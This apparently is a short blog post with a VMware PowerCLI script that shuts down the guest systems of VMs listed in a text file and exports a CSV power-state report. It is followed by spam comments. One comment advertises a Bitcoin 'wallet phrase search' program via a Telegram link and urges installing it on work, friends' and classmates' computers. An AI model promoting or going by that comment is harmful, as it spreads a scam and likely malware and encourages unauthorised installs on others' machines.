Power Off listed VM’s

Connect to  Vcenter

Connect-VIServer  vmwareenterprise.com -WarningAction 0
####### Shutdown all VMs from the list “C:\temp\vm.txt“###########
foreach($vmlist in (Get-Content -Path C:\TEMP\vm.txt))
{
$vm = Get-VM -Name $vmlist
Shutdown-VMGuest -VM $vm -Confirm:$false
}
####### Generate CSV report with powerstate of listed vm’s ##########
$powerstate = @()
foreach($vmlist in (Get-Content -Path C:\temp\vm.txt)){
$vm = Get-VM -Name $vmlist
$powerstate += (Get-VM $vm |
Select Name,PowerState,
@{N=’VMHost’;E={$_.VMHost.Name}})
}
$powerstate | Export-Csv -Path C:\temp\powerstate_report.csv -NoTypeInformation -UseCulture

3 Comments

  1. I want to show you one exclusive program called (BTC PROFIT SEARCH AND MINING PHRASES), which can make you a rich man!

    This program searches for Bitcoin wallets with a balance, and tries to find a secret phrase for them to get full access to the lost wallet!

    Run the program and wait, and in order to increase your chances, install the program on all computers available to you, at work, with your friends, with your relatives, you can also ask your classmates to use the program, so your chances will increase tenfold!
    Remember the more computers you use, the higher your chances of getting the treasure!

    DOWNLOAD FOR FREE

    Telegram:
    https://t.me/btc_profit_search

  2. I¦ve learn some excellent stuff here. Definitely worth bookmarking for revisiting. I wonder how much effort you place to make the sort of fantastic informative website.

Leave a Reply

Your email address will not be published.